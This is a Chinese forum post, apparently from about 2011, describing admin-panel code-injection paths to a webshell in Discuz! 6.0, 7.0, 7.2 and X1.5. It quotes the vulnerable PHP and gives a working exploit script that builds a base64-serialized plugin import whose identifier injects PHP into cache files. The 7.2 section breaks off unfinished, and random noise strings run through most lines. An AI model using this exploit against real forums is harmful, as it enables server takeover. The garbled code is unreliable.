趁着地球还没毁灭,赶紧放出来。
, I' V# t) s+ u预祝"单恋一枝花"童鞋生日快乐。
- {1 I! g2 v$ D! }% w恭喜我的浩方Dota升到2级。
0 \) A& i' A: v1 ?: [3 L4 x: t希望世界和平。8 k6 m: R, A! [+ J
我不是标题党,你们敢踩我。敢踩我。。踩我。。。我……' f) L0 |- M1 E5 n, n8 h# M
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既然还没跪,我就从Discuz!古老的6.0版本开始,漏洞都出现在扩展插件上,利用方式有所不同,下面开始。
4 e$ i* T- B5 w" l6 u4 P; ^
; e% q; x7 M5 A" ~5 t0 B一 Discuz! 6.0 和 Discuz! 7.0$ L$ ?- f2 i D, F2 p" {
既然要后台拿Shell,文件写入必看。; a" p7 I U$ n) [
7 I1 \5 |6 {: \8 V* i( T7 ^/include/cache.func.php
* b' ]; W; _; M0 o01
7 H) X7 y! z6 k: [7 H( ifunction writetocache($script, $cachenames, $cachedata = '', $prefix = 'cache_') {
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- e6 X5 E) j. z- E0 ~ global $authkey;
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if(is_array($cachenames) && !$cachedata) {, t7 Y" ~* |4 W! x6 J4 d* Y$ M
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foreach($cachenames as $name) {, @% |% j# ?. p* x) ^+ E
05
$ \! ^; h, L Q $cachedata .= getcachearray($name, $script);
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09
- D- m- B8 x- ^" t* S) } $dir = DISCUZ_ROOT.'./forumdata/cache/';
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if(!is_dir($dir)) {
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@mkdir($dir, 0777);: C/ G* F* Q* J% S3 E8 u( \
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}. B, [/ o5 E: Y' U( x' {% i
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if($fp = @fopen("$dir$prefix$script.php", 'wb')) {# f" G9 f# {/ b2 S9 N4 j: y! u
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fwrite($fp, "<?php\n//Discuz! cache file, DO NOT modify me!".% W% |; J. E& S* P8 V
152 O& n* u& {5 l
"\n//Created: ".date("M j, Y, G:i").
% _: O1 S* h- s/ e u2 x, j! K( ~16
' q* s3 l" h5 t) m9 c "\n//Identify: ".md5($prefix.$script.'.php'.$cachedata.$authkey)."\n\n$cachedata?>");6 k5 u5 d$ F5 y* Q1 A6 g
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' o+ h; D$ t' ?+ { fclose($fp);2 Z/ z! m" q, E5 f9 d7 ?
18
' R9 Q$ F* C8 ^/ a2 [9 s2 Z. N% j } else {; }0 x7 ]6 r( \# J C
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' m/ `7 F% P) P; u7 D. x+ Q$ J- t D exit('Can not write to cache files, please check directory ./forumdata/ and ./forumdata/cache/ .');
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}
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/ B2 ` Q# i; I+ Z. T$ T9 ~}$ T8 m$ s1 r/ {& \
往上翻,找到调用函数的地方.都在updatecache函数中.
. _0 ~( l% j. h) q) g2 |4 y5 M J# I01
7 `& \% f% @& B5 G! g; n: D if(!$cachename || $cachename == 'plugins') {1 H6 a* \4 m4 j7 r
02
" O. W( Y# G& |3 n8 x $query = $db->query("SELECT pluginid, available, adminid, name, identifier, datatables, directory, copyright, modules FROM {$tablepre}plugins");) T e) R9 x- t: U# w3 p2 M
03) r* \- W0 N4 s7 x$ P _( ]: y$ ?) [
while($plugin = $db->fetch_array($query)) {1 y* C. q( g0 _1 l- ^
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$data = array_merge($plugin, array('modules' => array()), array('vars' => array()));: N7 M) M! ?. T) h
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$plugin['modules'] = unserialize($plugin['modules']);
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6 H @' l2 D* Z. U; z C if(is_array($plugin['modules'])) {
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# V) ]' y, |$ Y' F* \: i" d' S2 N foreach($plugin['modules'] as $module) {* Q' T& S( F# u v6 g# U
08
# a/ A( q0 T2 v $data['modules'][$module['name']] = $module;( F- e2 \, E/ e# Y9 D# a t
093 }5 B" F% n% Z) o: b; R
}
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}0 |$ e4 V% [5 _0 A2 W! }; [
11
! R+ Q7 Z9 e3 F' ^9 }4 w $queryvars = $db->query("SELECT variable, value FROM {$tablepre}pluginvars WHERE pluginid='$plugin[pluginid]'");
$ U* f: S$ C: u1 }) ?; [12
y) {; h2 M! m# k" V while($var = $db->fetch_array($queryvars)) {
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1 R8 ^4 l$ V8 a5 F$ }4 ^& R $data['vars'][$var['variable']] = $var['value'];
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}
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//注意% p( f# ?$ V- `. P) ?+ r
16
! d2 z& X9 R- q/ K writetocache($plugin['identifier'], '', "\$_DPLUGIN['$plugin[identifier]'] = ".arrayeval($data), 'plugin_');
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18
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如果我们可以控制$plugin['identifier']就有机会,它是plugins表里读出来的.
2 q' h7 w* {6 f: B6 A去后台看看,你可以发现identifier对应的是唯一标示符.联想下二次注射,单引号从数据库读出后写入文件时不会被转义.贱笑一下.$ q% s, w$ B' K' v
但是……你懂的,当你去野区单抓对面DPS时,发现对面蹲了4个敌人的心情.) W- [/ m" h8 T( j; m) X' [5 Y
2 ?, \2 I: E0 k! Q
/admin/plugins.inc.php
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; l6 P3 l! @; Y( [( P' B) y if(($newname = trim($newname)) || ($newidentifier = trim($newidentifier))) {
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+ E3 F- a) }# L if(!$newname) {% }$ i8 l6 U% T% r
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cpmsg('plugins_edit_name_invalid');
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}
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$ @5 k0 \/ Q" w $query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='$newidentifier' LIMIT 1");' r7 n& O! H+ y' w: k
06
; G4 I* j2 I& D `0 V- i. f- ? //下面这个让人蛋疼欲裂,ispluginkey判定newidentifier是否有特殊字符
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. b. g7 X' F+ c/ U if($db->num_rows($query) || !$newidentifier || !ispluginkey($newidentifier)) {
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cpmsg('plugins_edit_identifier_invalid');/ u! P+ y. H# S: B
09
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6 F k* Q3 o% f$ B1 D108 P- L# B+ Z _7 K8 ]1 b
$db->query("INSERT INTO {$tablepre}plugins (name, identifier, available) VALUES ('".dhtmlspecialchars(trim($newname))."', '$newidentifier', '0')");
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//写入缓存文件+ `3 \3 j# X' M8 r
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0 c2 ~" t2 K( k; Z' E8 H updatecache('plugins');
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updatecache('settings');
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cpmsg('plugins_edit_succeed', 'admincp.php?action=pluginsconfig');& x. X- D2 Y1 ?! L2 @0 C
还好Discuz!提供了导入的功能,好比你有隐身,对面没粉.你有疾风步,对面没控.好歹给咱留条活路.5 W u' ?/ a& w3 \/ L; k; V {3 Z
预览源代码打印关于: \& E- {: S4 B: p5 u4 n, D$ s# N
01
- v1 k) ^$ J& ]3 I/ ~elseif(submitcheck('importsubmit')) {
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c4 | O2 U: N$ [7 u $plugindata = preg_replace("/(#.*\s+)*/", '', $plugindata);
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$pluginarray = daddslashes(unserialize(base64_decode($plugindata)), 1);
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//解码后没有判定
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if(!is_array($pluginarray) || !is_array($pluginarray['plugin'])) {' V- e$ A2 A8 m+ ?
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cpmsg('plugins_import_data_invalid');
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} elseif(empty($ignoreversion) && strip_tags($pluginarray['version']) != strip_tags($version)) {
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cpmsg('plugins_import_version_invalid');
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$query = $db->query("SELECT pluginid FROM {$tablepre}plugins WHERE identifier='{$pluginarray[plugin][identifier]}' LIMIT 1");
. f2 d# m8 _+ f3 a/ m13! u2 x. N" M/ u7 J9 P1 {! y4 E
//判断是否重复,直接入库6 F' e7 D8 k" b. K% J' g) p3 q
14
$ M" g8 _, F5 @ Q; o if($db->num_rows($query)) {. N/ D0 r( q" g
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cpmsg('plugins_import_identifier_duplicated');$ w: f n3 q; `& s4 h. E
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$sql1 = $sql2 = $comma = '';
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foreach($pluginarray['plugin'] as $key => $val) {
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5 r: U7 b9 z- G+ E if($key == 'directory') {. [1 P4 C1 e7 y' C, X$ M+ `
21
/ T. f! ^% z1 \8 E //compatible for old versions) H' i( `) @; V/ B
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$val .= (!empty($val) && substr($val, -1) != '/') ? '/' : '';
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}
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$sql1 .= $comma.$key;0 f/ T7 g- M/ J. R4 P
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$sql2 .= $comma.'\''.$val.'\'';
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0 T( g% M5 M# ^5 p% d J& w $comma = ',';7 e( D0 }) `7 _8 v H/ c
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}! h7 O! u0 ~8 g5 {- f7 Z
28
9 k3 h, v8 z( H $db->query("INSERT INTO {$tablepre}plugins ($sql1) VALUES ($sql2)");+ ?. C0 r9 }) `$ } j
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$pluginid = $db->insert_id();. Z, A$ E- p- m* K/ }8 ~2 _
30
+ U7 I; b- r9 m; U 3 P3 A2 b$ w( i" i* ~& ]9 N( B
31
% p$ L' R9 \' [' Y2 Z6 c9 d foreach(array('hooks', 'vars') as $pluginconfig) {4 p1 W. @. @3 Y' T9 a. X
32
3 z# e) _5 v' Y9 [; M% W4 X if(is_array($pluginarray[$pluginconfig])) {' I% d O! R+ C0 Q* l4 e
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foreach($pluginarray[$pluginconfig] as $config) {4 T7 e0 Z! L8 m1 b2 o" H' D3 t/ ?
34
* `' N# R( x% t7 ?2 a5 [3 P/ `* ^ $sql1 = 'pluginid';* |/ y m6 H5 M6 r
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$sql2 = '\''.$pluginid.'\'';, I( R7 ^3 q. b7 p
36
2 i8 e% z7 `2 X3 r: W3 ^ foreach($config as $key => $val) {
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9 P7 T9 C% I [5 c $sql1 .= ','.$key;
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4 M0 b1 }5 f8 l0 m. ~ $sql2 .= ',\''.$val.'\'';, Z! b: u+ v V. P6 R1 `7 z
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}
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$db->query("INSERT INTO {$tablepre}plugin$pluginconfig ($sql1) VALUES ($sql2)");. X3 T4 X: D9 ~( I, m; m' m
41
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44
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updatecache('plugins');
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updatecache('settings');
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cpmsg('plugins_import_succeed', 'admincp.php?action=pluginsconfig');% w3 c8 N! m! c# K( \; [) g
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& \ D0 g0 v# R" a( a49
' e" y% a- d7 ]9 ~# E( l Z0 j ]/ v+ | }6 ^ g' B. s/ i, O. k+ C
随便新建一个插件,identifier为shell,生成文件路径及内容.然后导出备用.
7 ], d. l7 E3 m! L. k$ j5 T/forumdata/cache/plugin_shell.php+ G9 b# h. L4 A; f" K
01
& a8 l) C* @2 H2 |8 `2 N. e<?php
4 e% w3 ~ z6 S) B$ m, y02
' K) r o; k% s- i: {: i1 H# l//Discuz! cache file, DO NOT modify me! Z1 h% S# y }: s9 e! Y* s6 n
03, f/ f+ H, G; K
//Created: Mar 17, 2011, 16:56; L1 e" D8 e% J {. W
042 x" T6 h" `; @
//Identify: 7c0b5adeadf5a806292d45c64bd0659c
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4 D) I+ I: \! c! p2 q/ U2 Q- H * @1 j# v) e) m/ [' X6 T& i( f1 f9 d
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$_DPLUGIN['shell'] = array (3 U s8 }# O: Y( u+ L, ?" i
07
' O3 j. U% E! [) b8 M: {7 ]; W 'pluginid' => '11',
( N4 W# h8 q5 W9 K. ^- b" V: E4 u08
9 i2 W& G2 q1 `9 O& G5 ^+ t 'available' => '0',
% v- \# m9 N E' U, t% q4 L. V09/ |7 j8 x* l, U R: J$ n
'adminid' => '0',
5 H! K% E N. U! o9 A! r: }' `10( }- v! f1 e' p/ p
'name' => 'Getshell',0 M6 j0 h: ~; h R9 V K
118 U/ ?2 i9 f4 E% b& P/ g+ @
'identifier' => 'shell',- c Z& A+ Z- |) \4 N) k
12
4 r# q) m* w0 T: o, E, l8 j 'datatables' => '',& H3 N* ~8 \' P" P: D7 [
132 F2 u' Y, U/ e7 [% A1 V
'directory' => '',! O4 e4 |0 e5 j& n
14
5 w, n0 |/ T) f) o 'copyright' => '',1 Z% K9 L, k0 O% H. M' S; @
15
+ j, F$ E+ E& R6 W; J4 X% I( `8 _ 'modules' =>
$ a, h# [ S i" d167 B- ^* {4 Y+ X9 z, v+ X
array (
/ ~5 g' K- q, f9 I+ T; L17
0 A3 B Z @* S' I+ p, y# L ),
( T M+ r- i3 _6 X+ ^18/ v$ |1 t9 y9 j+ ^! T; Y
'vars' =>: k" p: B$ J- W: p$ H, |
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array (
' l- ~+ I2 B! o) ^20
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21
* J4 O- s0 s5 t# K& q)?>
& D" j) @ ^; W- u" s% B# x3 C我们可以输入任意数据,唯一要注意的是文件名的合法性.感谢微软,下面的文件名是合法的.
& @7 x5 ?6 {4 `7 c* W1 ~& c$ e
" \' a+ c- E2 _' Z: }. r0 }% {/forumdata/cache/plugin_a']=phpinfo();$a['a.php+ T# m% T) R/ p6 E+ |
01- u3 O7 z# t* G. L5 R1 |; J% E
<?php0 d+ ?# [8 @4 Y! E
02
" E& X& \3 T% ?//Discuz! cache file, DO NOT modify me!' B5 b6 G0 t+ P9 D3 ^. L( N6 S
03
+ i8 _8 q5 h: r- H' p3 C//Created: Mar 17, 2011, 16:56
1 B* ^8 {% \, I04
" w& ~ a7 T3 T# {; @ B//Identify: 7c0b5adeadf5a806292d45c64bd0659c
, ~5 H* a: F/ n' N2 u05& B1 l' j4 a% [) \. P+ s
8 R* e! @, ~3 |9 O# `
06; d1 @' j$ ]1 \
$_DPLUGIN['a']=phpinfo();$a['a'] = array (
; _. E. o: ^' o+ X: X7 w07
* D. d: y/ U1 q- Z* i& d 'pluginid' => '11', E- v6 b" p! z; C& A
081 X o& R% D; ]
'available' => '0',
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'adminid' => '0',/ ^4 ]$ [" g- R7 A7 t/ F7 h
10$ O j4 u# o) S- I7 g( l5 V
'name' => 'Getshell',
. {+ I4 ]8 z3 S8 h11
. \- {( N0 C F, y6 n9 D7 v 'identifier' => 'shell',
2 c( A( m7 @4 s( D12
9 N5 o5 F; p5 x3 j7 R* A 'datatables' => '',8 p0 j' a$ `7 d, D: L0 ]
13
`. X) m6 b6 r# _/ y! a$ l 'directory' => '',
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'copyright' => '',# S* ?7 Z6 ], Y+ P
15& b6 Q, n* q3 I2 m: r: F8 A! ~
'modules' =>4 y; d1 H e' f, ?0 U
16. _) g: h! U) x. _2 u& B
array (
& N- S$ y1 S- E0 \* L3 ^; n17
- I' M; D& E5 I4 r ),
5 X8 f, y6 ?1 I3 Y9 ^ ]18# o" i$ X, `2 U- u# V# W( K
'vars' =>- w3 J$ x- {+ \- l) g
19
1 Y& `* z% G8 Q2 U array (
' T1 r* F4 Q$ ~# _5 E& X, D8 k20( M" [! O7 L7 F' _$ q' `! _
),# s8 d5 E5 m/ H
21. \( B5 N' m. x! [/ a
)?>
k) s) a8 X' m( T$ m6 `, Y最后是编码一次,给成Exp:
2 j( }, U, z+ i* ^/ A- {; V% u% r01
# X" o2 |& x+ m<?php$ k2 H, X5 ]* B; k, x& c% d: A( f: a0 l
02% @, l% q8 b6 B- V1 k
$a = unserialize(base64_decode("YToyOntzOjY6InBsdWdpbiI7YTo5OntzOjk6ImF2YWlsYWJsZSI7czoxOiIw; R: a- L( ?+ [
036 w: e' r! K. T- J5 T u
IjtzOjc6ImFkbWluaWQiO3M6MToiMCI7czo0OiJuYW1lIjtzOjg6IkdldHNo
: P9 c# I+ d" E9 G' P* r04
+ f' c: z8 L2 q' Z9 s9 q, m+ RZWxsIjtzOjEwOiJpZGVudGlmaWVyIjtzOjU6IlNoZWxsIjtzOjExOiJkZXNj3 M1 _, f3 A% }& U3 \! k3 Q
05
! ~" }( z, R( q+ n( A3 S2 Z: N0 ^5 BcmlwdGlvbiI7czowOiIiO3M6MTA6ImRhdGF0YWJsZXMiO3M6MDoiIjtzOjk61 [. B* V# y, [" D" C
06: Y' _/ }, u7 M x% s# y
ImRpcmVjdG9yeSI7czowOiIiO3M6OToiY29weXJpZ2h0IjtzOjA6IiI7czo3
$ V" n8 i+ I3 Z% j6 r6 `$ @07. x6 b' }/ n" O9 z3 P( [; U& L7 {
OiJtb2R1bGVzIjtzOjA6IiI7fXM6NzoidmVyc2lvbiI7czo1OiI2LjAuMCI7
2 X- A5 u$ Z, Y7 e$ ^' E* f( G4 d+ U08/ z5 y5 P* i! v7 r
fQ=="));
; P# B) k* N7 D0 k* }0 k09
5 u! B; H' \8 h! K//print_r($a);
0 D6 G, @3 Z8 b5 [( u1 g* O+ o3 V10
7 d, `7 d4 S. p' G$a['plugin']['name']='GetShell';0 U5 U9 M- k7 g
11
% `: ]5 H, P5 K: ?+ j4 W$a['plugin']['identifier']='a\']=phpinfo();$a[\'';8 u$ s- x( x9 |% u
12
5 j5 J; q7 L n* w# m
' g' S3 \1 O& I9 d/ g13! ]6 k1 R2 X b4 N* c3 r* O
print(base64_encode(serialize($a)));: C; T! c- P1 j% J( T7 g
14
! G L9 [! j3 a% I+ p9 w! q?>7 k; [; Q( R9 `" |! Q
" X- e, q. J, X- \7 M9 z y0 R
7.0同理,大家可以自己去测试咯.如果你使用上面的代码,请勾选"允许导入不同版本 Discuz! 的插件"; l5 Z" o& K( D W
; G7 R5 c4 i; G$ k7 D+ W/ O二 Discuz! 7.2 和 Discuz! X1.5& s3 l5 G0 e' V; R/ r
& M: m: {4 M1 p9 _2 W: \2 @以下以7.2为例
& _% {# k, P) M( k: W. W$ f( r, |8 L# V, h; G% ^3 A& l
/admin/plugins.inc.php
3 h; o( B- `$ P% f4 J; W- M01
4 Y& G4 z2 o+ {* l8 ~ Yelseif($operation == 'import') {
3 |, T( Z- g5 j% ?' I: x' W02
2 n5 v6 l/ o5 ^- C& A 3 O! N, B* ?* D1 q" n
03
; g& ^) y7 K5 z# O( u3 w4 B if(!submitcheck('importsubmit') && !isset($dir)) {
# r' j" b+ S1 H047 C# J% V4 N! u$ z: o; B) [; Y7 u
8 y" w" L8 n0 O" R05
' J+ X5 K2 N' g& R0 ^$ Z" J; D4 L$ X /*未提交前表单神马的*/$ r9 B- E3 a% e( ~+ G% Z
06 _ j: ^. q% D# t/ y9 `
4 @3 {. a9 I0 b8 y( m07
; \/ u0 B$ X% \1 C" P! w) T } else {" }3 h' F% @' C! c9 S
08$ d: T% {% g6 X% _
" t$ w- G; q# s/ F; X
092 Y% L( q& Z' a7 ], J( j
if(!isset($dir)) {8 Q5 b2 H1 K1 C& t. X9 z; t
10
5 V$ \* d. u9 f! e8 K- ? //导入数据解码" [$ d" r; V1 |
11* ]* l. D. w1 V$ ^. c9 g8 @$ R6 A
$pluginarray = getimportdata('Discuz! Plugin');- a4 ~1 ]+ w* [* A% d' B, S3 ~
12% C$ i Y4 i% `& y8 Q
} elseif(!isset($installtype)) {2 @1 C3 E; \' X& J/ V' m% g
130 m" B( Z Q; q
/*省略一部分*/! m) @* u; N+ k- o
14$ x+ ^! [, F8 Y+ R$ |2 c6 X
}
; d% T6 j; J$ L15
' l1 ~* t! P2 H5 C" X6 V //判定你妹啊,两遍啊两遍+ v9 K6 t, ?0 A# y1 I
16
. s# o, ^3 f* W# s6 W, G if(!ispluginkey($pluginarray['plugin']['identifier'])) {5 b' W, F0 {8 ^) G4 Y0 y
175 h/ A( J, b) {9 v8 |
cpmsg('plugins_edit_identifier_invalid', '', 'error');" `) h, n( }7 ?; w1 H, n/ j8 c' H
18& C5 D; G$ D# |& r0 N6 _3 P
}
' h$ t+ Z# A' Y. E' L- i19
) d; y+ e+ \; j1 |6 P/ M5 L if(!ispluginkey($pluginarray['plugin']['identifier'])) {( U* J2 Z8 m$ `, X, { @9 ^
20
5 X1 M5 z/ F7 s2 d& c3 R n cpmsg('plugins_edit_identifier_invalid', '', 'error');
/ w) R. V$ T% P( j8 I$ t21* j) e. M5 X9 O/ G& T6 A4 a+ s
}5 ^6 d6 r9 B. n. K
22
. B- i& X9 G# w. I if(is_array($pluginarray['hooks'])) {* ~$ Q0 q; Y, C: V
23
* M1 l2 O$ u3 }# Y% \5 V foreach($pluginarray['hooks'] as $config) {( h6 P2 X% }6 a: K- M' q( t4 L3 ?0 g
24
$ w& G: W. ?( Q1 U1 m/ N/ f5 @ if(!ispluginkey($config['title'])) {
$ _2 V) J0 D) I" S! y0 A) `8 B! P, d# d, q25
, [! ^: e- k9 u; ]9 h cpmsg('plugins_import_hooks_title_invalid', '', 'error');1 q7 [* p- J. y, ?7 I7 C; d7 M
26+ J% z7 L3 [; N0 S7 ?" `8 S- `8 E
}; i9 Y) g& k5 `
27$ ?) y( b3 U: V* e9 Q- h* o
}
5 x3 f3 s2 ]: W; }' D+ E28- |. X1 N$ z E
}, |8 l- e/ p0 b: b0 @+ L
292 N! |7 x4 k w6 o: P
if(is_array($pluginarray['vars'])) {
: V& P2 k+ D$ ^% N3 U9 }; R30
) Y( o0 z# h; E4 o$ |( B foreach($pluginarray['vars'] as $config) {% W2 Z+ }; I! h# v
31& H7 G2 x. R8 I/ U- Z* Y# U
if(!ispluginkey($config['variable'])) {
' z( l& H/ k; [32
}, a# F5 v9 A, ]: p cpmsg('plugins_import_var_invalid', '', 'error');+ M, n; A1 W0 G' P
33
9 t3 O7 {: [- q% b4 X$ [: T4 M }
( l. E( X3 y- {8 s# \. o34: l, y1 r5 X+ M# \" N5 |. s( m
}8 H4 d# Y" b* J7 W
35
1 `" V$ U5 @4 M0 t0 F }' x# D' P x: @3 X; |- ~
36
. C' E7 @ r2 f9 i2 e( C5 ^
1 a0 e) o+ r N4 U37
6 L% W* o2 K2 G. C* K+ i) t. A $langexists = FALSE;; Z/ t% ~* o; R
38
# A3 k; l1 b" o0 m) ]# `! o& `# r //你有张良计,我有过墙梯 Z: o$ L! q( ~1 E* N1 y5 M' h% G
39- Y. q4 c* l" ?! C4 g: L
if(!empty($pluginarray['language'])) {
6 o6 T, N) \, ?1 M% C7 `1 e40
0 W8 m, ], s2 x6 Z) z @mkdir('./forumdata/plugins/', 0777);
7 p! h. e* p$ I- F41$ A+ e: O# h) l0 ~+ i8 K
$file = DISCUZ_ROOT.'./forumdata/plugins/'.$pluginarray['plugin']['identifier'].'.lang.php'; M: W: N1 N3 |$ [+ n
42
7 c& A/ ~3 [% z6 X( Q if($fp = @fopen($file, 'wb')) {) _- [: v7 P& N" Z
43
9 w/ B6 m- r# N& p, o( H5 r $scriptlangstr = !empty($pluginarray['language']['scriptlang']) ? "\$scriptlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['scriptlang']) : '';
0 n& y/ `2 I% M( R( b9 [1 @% l( r44
/ B3 G8 Z. ?, q3 _& ~6 v/ y $templatelangstr = !empty($pluginarray['language']['templatelang']) ? "\$templatelang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['templatelang']) : '';
; U8 m0 T" c$ V+ B% Y6 v1 P! e45
+ m) r% h* p0 x6 V) C $installlangstr = !empty($pluginarray['language']['installlang']) ? "\$installlang['".$pluginarray['plugin']['identifier']."'] = ".langeval($pluginarray['language']['installlang']) : '';
9 S5 u1 O/ p! Q+ d466 K" D- v# f# i; }- h5 s ~
fwrite($fp, "<?php\n".$scriptlangstr.$templatelangstr.$installlangstr.'?>');
: \- n0 b5 o( d7 r4 e47
: s( s; `% }# b! K8 Y! b fclose($fp);0 V, {- h, o6 t3 f% `+ R9 e: H( I# X
48) R+ d) H, S, s% x+ ^% {
}
! B- \4 G3 v' T7 M49" @0 W. g0 b- A/ \6 \, c. ~
$langexists = TRUE;5 ^/ A) Q' y% D7 q
50
; x; \; P9 N8 l! F$ V- O& W, { }' b& H4 C9 v/ o5 ?0 U
51
: H7 n/ {' Y7 N! c
0 u% j0 `( C* V3 p1 D/ r# O52
2 W: {" l) U. C) q V/*处理神马的*/
0 n% L3 X X# R1 H6 ^4 n53* i7 w" [6 N/ H- q0 s/ W8 z
updatecache('plugins');2 p, I k* y( I
546 @: S9 N4 w, _# w2 m1 y
updatecache('settings');: c- C2 `" R' o& Z, J- g# S5 N6 I
55+ J2 o+ r) m2 y1 p% g5 K8 t1 U
updatemenu();
( Q) L% M1 F5 r8 C' l# Z: M3 A56, D* c$ i j" {8 v
7 `4 d( O" f; m
57
9 Z9 i) L: ~( N/ ?* r4 K4 j2 J* x/*省略部分代码*/
: Z1 F( \: _8 z7 j, M: t( K58/ t/ S+ o% h4 R; w
1 U0 L& p* C4 d3 D8 N; V; G
59
" N3 C* O' _. p9 s}
, G% n/ L) b+ X6 I L先看导入数据的过程,Discuz! 7.2之后的导入数据使用XML,但是7.2保持了向下兼容.X1.5废弃了.
( o' `( V9 @9 B8 W. L01
+ {8 f4 ~7 t/ N" @function getimportdata($name = '', $addslashes = 1, $ignoreerror = 0) {$ u+ ]6 ^; L2 n- [* E4 l) M
02
( M, B: u6 z/ O b5 E if($GLOBALS['importtype'] == 'file') {( o- h' t) c/ @& G) g, U/ O# `0 t! a
03
/ @% G$ W; j3 C $data = @implode('', file($_FILES['importfile']['tmp_name']));& z/ z' r, k+ y+ _0 c% [3 Y. J# D
04
% o9 U9 V( F/ S @unlink($_FILES['importfile']['tmp_name']);
2 ?! N/ Q( M3 h9 Y: [8 O; i057 {: _$ k9 k# i* K) Y
} else {
7 P7 s8 r: ~! ~$ q06
0 a8 p! K# o6 ] $data = $_POST['importtxt'] && MAGIC_QUOTES_GPC ? stripslashes($_POST['importtxt']) : $GLOBALS['importtxt'];9 x1 l, p, `5 @
07# l. D; D/ {. u5 v7 a+ P% K
}
6 l$ O! [4 a* V% E k5 _& o5 S08
5 z8 O' h! g5 _) E# b include_once DISCUZ_ROOT.'./include/xml.class.php';% L- e* Y9 n' Y- n- ~
09& N. x J# y( o' s! U
$xmldata = xml2array($data);
6 @8 F, B& T0 z3 h, v2 e10* d9 d7 `5 L) }$ y$ P
if(!is_array($xmldata) || !$xmldata) {
+ F p( x! R& s G6 _7 F11
; b$ t p9 W8 r) N& B, M//向下兼容
- G5 }7 c, g7 p9 x6 S% [' D' D0 g, z125 z" o- Y2 s* C5 \+ U9 D2 C
if($name && !strexists($data, '# '.$name)) {8 ~: P" s' `7 x; b+ k- u
13
) A4 x& t( }1 ^ if(!$ignoreerror) {
. ?+ D% W# H. V6 U: F14
9 U! e0 J8 K& ] cpmsg('import_data_typeinvalid', '', 'error');2 ~/ @6 T, h& s: r; U) z
15, {7 d$ H1 o }! { J
} else {
# W4 H1 |' |+ V. X16
! q" e7 }2 h4 t' ~# n return array();
6 t6 `. S1 d' w7 _* {% ^ B17
/ \1 [9 y' [6 n+ i }& X( V p1 x F6 p! F" j' E
18
' ?7 z# u# l l' T }; X9 V+ y; _% Y' T5 Z1 b
19
$ n! N$ p! G% q/ ]/ l' Z4 _& X $data = preg_replace("/(#.*\s+)*/", '', $data);! E: Q, z7 |* @# \6 d, n
20
0 ], p3 S) `8 L7 Y $data = unserialize(base64_decode($data));# w7 |! z2 g9 n' }
21
4 d6 @6 t% K* B2 P# b if(!is_array($data) || !$data) {
, N6 k t& o1 N( X# m1 ] [- f229 r# R5 a {+ X z: g" [, {( Q
if(!$ignoreerror) {
. x1 M3 T% u" I6 \: Z23
# X4 y. p5 V* {. C0 j( O cpmsg('import_data_invalid', '', 'error');
6 z: G! f+ b( K& e- m2 x. A; X24
$ S" [6 E; \ O; A } else {. u) n' F( @3 I- K; B X/ V8 {
251 B0 I3 \/ B& x+ D. u
return array();
$ m6 o. R# ~: [- j" y261 F+ Q+ I3 e( ?* B5 \
}. |% c/ g, U& p& i; o
27
/ U6 f- l9 t$ P+ W' S }; |4 D1 K# S5 V% v( ?
28
N/ L! C5 m# i( x! ?% V: n; s } else {: f; \$ o3 V: j* L1 }" c0 _( N& o
29
( l' v. ?# N- y ~//XML解析3 K& E/ Y; v4 @# N7 { Q, j& `
30
/ S. Q8 R" [8 J, I; ~ if($name && $name != $xmldata['Title']) {
6 U# x% C* e' R1 R: ^3 |& Y( `7 y31' F6 z* b8 L, {
if(!$ignoreerror) {1 F' g$ `! H# S' \ e
32
: _0 r: `- h7 H" M6 P: T cpmsg('import_data_typeinvalid', '', 'error');2 {. e9 |: e6 R, N8 J
339 d. z6 g; I; T _7 v w, d3 h
} else {3 Q* W: ?5 m, t* ?* ~
34
6 U3 F% k6 M: y$ I return array();$ _+ j" j5 p, k8 u
35
, P, P: Q& [1 m0 M5 S! p7 M9 y( N }; i, V& z$ m8 O. u2 j
36
5 A* P. J' e) ^" k. G4 U' t }
- I6 }' q% J* V5 q2 x3 M, L) b! _37; c0 W: ?- I' } D& k
$data = exportarray($xmldata['Data'], 0);8 G |" t2 s6 j
387 N; ?, X- Z! w9 O$ p0 M5 q* ]- i
}
( y% v4 u: A4 X( f+ m+ q7 L2 Y39
4 K3 K9 e5 {. S if($addslashes) {$ ]/ ?2 g/ K3 p. T2 O( t# A; b9 {
40# R( @/ m5 K3 ~- p
//daddslashes在两个版本的处理导致了Exp不能通用.
6 y; L& X3 P$ `. c* u" V0 @41
; s" i0 N* v+ k1 X, ^7 O- {) S $data = daddslashes($data, 1);) ~ V; F( d1 l, q3 F8 S
42
" j+ S1 E7 H$ \: x( ~. s7 N }
: X; B0 c- c( L3 Q; x' Y" v43
X: T4 L: F2 f return $data;7 F: P+ T. a: ^% t3 P& ?
44
) H" D$ Q9 R% a" K! V5 o}+ k; i; {; N1 S+ `
判定了identifier之后,7.0版本之前的漏洞就不存在了.但是它又加入了语言包……
4 Z/ P0 u2 A3 p8 Z! r( ?7 C! e我们只要控制scriptlangstr或者其它任何一个就可以了。
- L# l5 W. @$ ^ Z+ b# G( U016 i$ ~4 B }$ f6 o6 y$ x) o
function langeval($array) {4 V7 w9 W/ @2 r5 j( r! H, L; u
02) C! W( Y% j0 N [5 V1 r0 R
$return = '';
- H# n' X5 g( Z+ y* H- v03
F' D6 C' z8 U9 P% \ foreach($array as $k => $v) {
. P/ C6 H" D3 L, ?" W6 z& u' E. m* p04
2 S G# z6 F, q d, i5 b8 v //Key过滤了单引号,但是只过滤了单引号,可以利用\废掉后面的单引号
, k& n$ W9 |5 l6 n052 q! {! F f: d
$k = str_replace("'", '', $k);2 p1 S2 X5 Y+ h% V" H) l
06( ^% _1 w; ^/ M: K
//下面的你绝对看不懂啊看不懂,你到底要人家怎么样嘛?你对\有爱?) H8 k! x1 r2 x# a6 F3 b
075 J: M" X+ ^2 G3 {/ ]% H5 l3 ^
$return .= "\t'$k' => '".str_replace(array("\\'", "'"), array("\\\'", "\'"), stripslashes($v))."',\n";
1 X' C3 ~9 O M0 a, T08
& I. h/ L6 F" y& O: F' I }
- f7 O0 _3 ]' Q2 U" l090 \& o0 f, z- s- h; V c- K
return "array(\n$return);\n\n";
8 A7 F6 L4 X, f; n( ?3 {6 Q1 |' G. E10: @! v* v: X, u- ]) B! `' T, x9 |
}: E. }, ? o$ s& T) X
Key这里不通用.
6 `" G' E% ?5 D4 p& G. @% P2 |" P2 {: n0 i$ J3 n; O" [. ~
7.29 \7 v K: {* G3 U+ f
01
